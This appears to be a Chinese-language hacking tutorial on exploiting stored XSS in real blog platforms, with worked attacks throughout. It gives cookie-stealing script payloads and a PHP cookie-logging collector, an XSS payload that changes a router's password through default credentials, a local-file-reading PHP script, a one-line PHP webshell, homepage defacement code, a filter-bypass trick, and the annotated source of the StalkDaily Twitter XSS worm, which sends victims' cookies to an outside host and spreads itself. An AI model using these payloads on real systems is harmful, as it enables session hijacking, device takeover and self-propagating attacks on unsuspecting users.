前言
跨站攻擊,即Cross Site Script Execution(通常簡寫為XSS,因為CSS與層疊樣式表同名,故改為XSS) 是指攻擊者利用網站程序對用戶輸入過濾不足,輸入可以顯示在頁面上對其他用戶造成影響的HTML代碼,從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。很多人對於XSS的利用大多停留在彈框框的程度,一些廠商對XSS也是不以為然,都認為安全級別很低,甚至忽略不計。本文旨在講述關於跨站攻擊的利用方式,並結合實例進行分析。
漏洞測試
關於對XSS的漏洞測試,這里就以博客大巴為例進行測試,最近我也在上面發現了多處跨站漏洞,其中兩處已公布在WooYun網站上,其主要內容如下:
代碼:
漏洞詳情
簡要描述:
博客大巴存儲型XSS漏洞
詳細說明:
在“個人信息設置”的“附加信息”一項中,由於對“個人簡介”的內容過濾不嚴,導致可在博客首頁實現跨站,而在下方“添加一段附加信息”中,由於對“信息標題”內容過濾不嚴,同樣可導致跨站的出現。
但我剛又測試了一下,發現官方只修補了其中一個漏洞(個人簡介),而另一個漏洞得在博客管理后台才能觸發,利用價值不大。與此同時我在對博客模板的測試中,又發現了五處跨站漏洞,估計這些漏洞其實很早就有人發現了,只是沒人公布或者報給blogbus后仍未修補。這次報給WooYun的主要目的是讓blogbus修補此漏洞,因為我的博客就在上面!^_^ 其余五處漏洞分別在“編輯自定義模板”中,由於對代碼模塊head,index,index-post,detail,detail-post等處的代碼過濾不嚴,導致跨站的發生,分別向其寫入<img src="#" onerror=alert("head")></img>,為便於區別,我將提示語句更改為對應的名稱,前三項在首頁可觸發腳本,后兩項需打開文章才可觸發,測試結果如圖1、2所示:
圖1(在首頁觸發)
圖2(打開文章觸發)
對於其它網站的測試基本也是大同小異,除了手工測試外,你還可使用其它一些自動掃描工具,比如Acunetix Web Scanner……
漏洞利用
一、竊取Cookie
對於跨站的攻擊方法,使用最多的莫過於cookie竊取了,獲取cookie后直接借助“明小子”工具或其它可修改cookie的瀏覽器(如裝有Cookies Edit插件的Firefox)將cookie修改為獲取的cookie,這樣即可獲得博客的管理權限。
首先,我們在自定義模板的head代碼模塊中寫入
<script>document.write('<img src="http://localhost/test.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>
或者
<script>document.location = 'http://localhost/test.php?cookie=' + document.cookie;</script>
這里我把腳本放在本機上,你可以根據腳本地址來更改上面的localhost地址。以上兩個均可達到同等效果,但就隱蔽性而言,前者的隱蔽性會更強些,讀者可自行選擇,當然也有其它語句可達到一樣的目的,就看你如何發揮了。接下來我們來編寫上面的test.php文件,它主要用於獲取對方的cookie,其源代碼如下:
代碼:
<?php
$cookie = $_GET['cookie']; //以GET方式獲取cookie變量值
$ip = getenv ('REMOTE_ADDR'); //遠程主機IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 時:分:秒”的格式顯示時間
$referer=getenv ('HTTP_REFERER'); //鏈接來源
$agent = $_SERVER['HTTP_USER_AGENT']; //用戶瀏覽器類型
$fp = fopen('cookie.txt', 'a'); //打開cookie.txt,若不存在則創建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //寫入文件
fclose($fp); //關閉文件
header("Location: http://www.baidu.com"); //將網頁重定向到百度,增強隱蔽性
?>
接下來我們訪問博客首頁,我這里以http://quan-ge.blogbus.com為測試地址,訪問后我們打開http://localhost/cookie.txt 看看cookie.txt 文件是否被創建並寫入數據,結果如圖3所示:
圖3
很明顯,我們已經成功竊取到cookie了,剩下的事相信大家都知道,這里就不再贅述。
二.滲透路由器
對於處於內網中的用戶,我們可以利用XSS來更改路由器密碼。我們可以借助默認的密碼來登陸路由器,比如URL:http://admin:admin@192.168.1.1,其實很多路由器都是使用默認密碼,我這里這台也是如此,直接以admin作為用戶名和密碼。首先我們先利用Firefox插件Live HTTP headers獲取請求頭,如圖4所示:
圖4
因此我們可以在head代碼模塊中寫入以下語句:
<script src="http://localhost/1.js"></script>
其中1.js源碼如下:
window.open("http://admin:admin@192.168.1.1/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=admin&newname=administrator&newpassword=password&newpassword2=password&Save=%B1%A3+%B4%E6");
下面我們試着用http://newadmin:newpass@192.168.1.1登陸,結果如圖5所示:
圖5
可見密碼已經修改成功!
三、讀取本地文件
在不同的瀏覽器中對本地文件的讀取有着不同的限制,之前XEYE team曾有過統計,具體內容如下:
1: IE6可讀取無限制本地文件.ie8以及相應版本的trident內核瀏覽器對ajax本地執行時的權限控制得很死的,看來MS對IE這類安全風險比較重視。
2: FF3.0.8及以下版本允許本地執行的ajax訪問當前目錄下的文件內容。其他目錄暫無法訪問。
3: opera9.64及以下版本允許通過指定url為file://協議進行訪問;如果文件在當前目錄下,則不需要指定file://協議;如果文件在同一盤符下甚至可以超越目錄的方式訪問:../../boot.ini。
4: 基於webkit內核:google chrome、遨游3.0、safari等瀏覽器對本地執行的ajax權限沒做任何訪問限制.
以上測試是利用ajax來讀取文件的。但是我在windows7平台上用php測試各個最新版瀏覽器時發現:
1、 Firefox 3.6.10、搜狗瀏覽器2.2.0.1423、Maxthon 2.5.14、IE8、Chrome 7.0.513.0、360瀏覽器3.5、世界之窗3.2、TT瀏覽器4.8均可跨目錄讀取本地文件。
2、 Opera 10.70不允許讀取本地文件,若是讀取本地文件會直接給出警告,但你仍可選擇繼續讀取。
我測試用的PHP腳本(該腳本位於D:\riusksk\Webroot\reader.php)代碼如下:
代碼:
<?php
$handle = fopen("file://c:\sysiclog.txt", "rb") or die("can't open file");
$contents = '';
while (!feof($handle)) {
$contents .= fread($handle, 1024);
}
$contents=urldecode($contents);
echo $contents;
//$fp = fopen('info.txt', 'a');
//fwrite($fp,$contents);
//fclose($fp);
fclose($handle);
?>
在存在XSS的地方嵌入上面php文件,方法與cookie劫持一樣。由於現在blogbus打不開,可能又是服務器搬遷。這里我以blogcn.com上的漏洞為例進行測試,Firefox下的情況如圖6所示:
圖6
谷歌瀏覽器Chrome情況如圖7所示:
圖7
搜狗瀏覽器下的情況如圖8所示:
圖8
傲游瀏覽器下的情況:
圖9
IE8下的情況如圖10所示:
圖10
360安全瀏覽器情況如圖11所示:
圖11
世界之窗情況如圖12所示:
圖12
TT瀏覽器情況如圖13所示:
圖13
Opera下直接給出警告如圖14所示:
圖14
當然,這些漏洞除了讀取文件外,還可寫入一句話木馬<?php eval($_POST[cmd])?>,為進一步提權提供條件。
四、Hacking HomePage
相信對於很多初學Hack的朋友,都會對那一張張的黑頁獨有情鍾,尤其是當前中美黑客大戰中,中國人掛在白宮網站上黑頁,讓人至今記憶猶新!本節主要就是利用XSS來黑掉別人博客主頁,但這里的黑頁與入侵服務器來修改主頁有很大區別,利用XSS來黑頁其實並不是修改服務器上的頁面,它只是通過JavaScript,CSS及其它WEB技術來修改頁面。這主要就是通過注入js代碼,然后在后台執行以達到盜取cookie或劫持瀏覽器的目的,這些代碼往往都是一些HTML或JavaScript代碼(往往是使用InnerHTML或者document.write命令來動態創建文本,圖像及其它數據信息)。在本文編寫過程中,我又發現了博客大巴上的幾處跨站漏洞,就在“博客設置”中,這里我們就以其中“基礎設置”下的“自定義header”一欄為例。我們先在向其寫入下列語句:
<script src ="http://localhost/1.js"></script>
接下來編寫1.js代碼:
document.write("<center><h1><font color=#FF0000>Hacked By riusksk</font></h1></cneter>");
document.write("<center><h2><font color=#000000>Just for test !</font><h2></center><p><img src=http://filer.blogbus.com/6233861/resource_6233861_1283677044i.jpg></p><p><!--");
上面的“<!—”主要是用於將后面的頁面內容注釋掉,避免顯示,但這在各瀏覽器中情況會有所不同,比如我在Chrome中可以起到此作用,但在其它瀏覽器達不到此效果了,得采用其它注釋語句方可,或者先用document.body.innerHTML = '';來清空body主體中的html代碼,然后再逐一利用document.createElement創建元素也是可行的。這里我是以Chrome作為測試用的瀏覽器,訪問博客首頁后結果如圖15所示:
圖15
成功“黑掉”博客主頁!
五、跨站中的“溢出攻擊”
相信熟悉緩沖區溢出攻擊的朋友,都知道其中的原理:通過向堆棧中填充過多的字節以覆蓋返回地址,進而控制程序的執行流程。這里我要講的XSS攻擊方式與溢出有着類似的特點,在此我們以“中國博客網(blogcn.com)”為實例進行講解。經過本人的多次測試,發現上面有着不少XSS漏洞,后來聽從亂雪同志的建議,將陣地轉移到blogbus,但正如上面所講到的,結果還是漏洞一堆,看來很多技術人員把博客放在百度空間還是有一定道理,至少它比這些博客網站安全多了。現在回歸正傳,本節就以發表日志中存在的跨站漏洞為例。我們先像往常一樣在日志中輸入<script>alert(“riusksk”)</script>,發表后再查看日志時並未觸發腳本,因為其中的“<”、“>”均被過濾掉了,如圖16所示:
圖16
通常<>被過濾掉,xss基本沒多大希望了,很多人都會放棄掉了。但是經過本人多次的測試,發現當博客的內容顯示方式被設置為“摘要”的時候,也就是如圖17所示的情況:
圖17
在這種情況下,博客首頁上面顯示的文章均會只顯示博文的前幾行而已,如果此時我們的XSS語句剛好到達這個省略點時,那么它就會因被省略掉而未對其進行過濾,進而觸發漏洞。當XSS語句剛好處於這個省略點時,它並未在頁面中顯示,但仍包含於網頁之中。這個省略點就像溢出攻擊的“溢出點(返回地址)”一樣,通過填充數據到這個點即可觸發漏洞。經過測試發現,當XSS語句處於第五行時就可觸發漏洞。或者放在第三或四行,接着再在XSS語句后面寫幾行其它內容,同樣也可達到執行腳本的目的。因此這里我們可以在日志中構造如下語句:
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
<script>alert("riusksk")</script>
其中每行‘A’的個數不限,只要能湊足一行就行了,或者用其它數據填充也是一樣的。我們在首頁中試着看看效果:
圖18
正如圖18所示,我們已經成功跨站了!再看下此時的源碼情況,如圖19所示:
圖19
很顯然,處於省略點的XSS語句並沒有經過過濾,這樣我們就繞過了它的字符過濾保護!但是如果我們打開這篇博文並不能實現跨站,只有XSS語句處於省略部分時才可達到以上效果。Blogcn上面還有許多處XSS漏洞,但感覺這處的利用方法比較有趣,就提出來與大家分享。雖然這並不是真正意義上的溢出攻擊,但如果你嵌入的真正用於溢出某ActiveX控件的代碼,比如使用heap spray技術等等,還有之前出現的IE iframe溢出漏洞,利用這些漏洞也是可以實現真正意義上的溢出攻擊的。
六、XSS Worm
隨着WEB2.0時代的到來,而Ajax就是WEB2.0的標志性技術。AJAX即“Asynchronous JavaScript and XML”(異步JavaScript和XML),AJAX並非縮寫詞,而是由Jesse James Gaiiett創造的名詞,是指一種創建交互式網頁應用的網頁開發技術。Ajax的出現為XSS蠕蟲的發展提供的很大的便利,也因此加速了xss worm技術的傳播。這里我們就以之前爆發的Twitte蠕蟲為例進行分析,這個XSS worm之前在我的博客上也有提到()。該跨站漏洞主要出現在"Settings" 菜單下的"Name"文本域以及"More info URL"文本域,是由一位來自美國紐約的17歲小伙子寫的,當時他花了2小時就全搞定了。其源碼分析如下:
代碼:
function XHConn()
{
//創建XMLHttpRequest對象
var xmlhttp, bComplete = false;
//由於Internet Explorer 瀏覽器使用MSXML 解析器處理XML,而且MSXML 實際上有兩種不同的版本,因此采用以下兩種方式創建對象
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
//下面是針對非IE瀏覽器(包括Mozilla、Firefox、Safari、Opera……)來創建XMLHttpRequest 對象
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null; //若XMLHttpRequest 對象創建失敗則返回NULL
this.connect = function(sURL, sMethod, sVars, fnDone) //創建連接回調函數
{
if (!xmlhttp) return false;
bComplete = false;
sMethod = sMethod.toUpperCase(); //將發送方式轉換為大寫字母,即GET或POST
try {
if (sMethod == "GET")
{
xmlhttp.open(sMethod, sURL+"?"+sVars, true); //以異步連接的方式配置GET請求
sVars = "";
}
else
{
xmlhttp.open(sMethod, sURL, true);
//配置請求頭數據
xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
}
//設置每次請求的就緒狀態發生變化時調用的回調函數
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && !bComplete) //當響應已完成
{
bComplete = true;
fnDone(xmlhttp); //當服務器響應時就會調用回調函數fnDone(),不過這里沒有給出此函數
}};
xmlhttp.send(sVars); //發送請求
}
catch(z) { return false; }
return true;
};
return this;
}
function urlencode( str ) {
var histogram = {}, tmp_arr = [];
var ret = str.toString(); //返回字符串
var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search); //從search指定的參數將str分割成字符串數組
return tmp_arr.join(replace); //把數組tmp_arr[]中的所有元素通過replace指定的分隔符進行連接,以組成一個字符串
};
//對下列字符進行URL編碼轉換
histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
histogram['!'] = '%21';
histogram['%20'] = '+';
ret = encodeURIComponent(ret);
for (search in histogram) {
replace = histogram[search];
ret = replacer(search, replace, ret)
}
//將%[a-z0-9]這樣格式的字符轉換為大寫字母
return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
return "%"+m2.toUpperCase();
});
return ret;
}
var content = document.documentElement.innerHTML; //當前瀏覽器中的HTML內容
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g); //利用正則表達式進行全局匹配查找當前登陸的用戶名
var username = userreg.exec(content);
username = username[1];
var cookie;
cookie = urlencode(document.cookie); //獲取當前cookie並進行URL編碼
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>"); //竊取cookie
document.write("<img src='http://stalkdaily.com/log.gif'>");
function wait()
{
var content = document.documentElement.innerHTML;
//利用正則表達式進行全局匹配查找表單變量form_authenticity_token的值,它是一個隨機數,可用於阻止CSRF攻擊,在發送請求時必須加入此變量值
authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);
//設置一些隨機信息用於發送
var randomUpdate=new Array();
randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";
var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
updateEncode = urlencode(genRand);
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
var ajaxConn = new XHConn(); //創建XMLHttpRequest對象
//下列代碼用於發送虛假的twitte信息
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+updateEncode+"&tab=home&update=update");
var ajaxConn1 = new XHConn();
//修改設置,以插入惡意腳本進行傳播
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
}
setTimeout("wait()",3250); //每3秒左右就調用wait()函數
偶而寫寫無害病毒,對於提高編程水平還是有一定幫助的,而且還能引起各網站對安全方面的重視,進而提高網站的安全性,也算是為安全行業做點貢獻。至於那些具有攻擊性的病毒還是少寫為妙,不然法律的制裁是免不的,特別是最近幾年,關於信息安全方面的法律也已經逐步完善了。
結論
跨站腳本攻擊的方式主要還是依靠利用者的javascript編程水平,你的編程水平夠高,就能玩出更高級的花樣出來。本文這里講述的也只是冰山一角,還有其它Attack API,XSS shell,讀取瀏覽器密碼,攻擊Firefox插件……其它更多的方法還有待大家去挖掘和利用,如果你有其它更好、更有趣的攻擊方式,希望可以共同分享一下。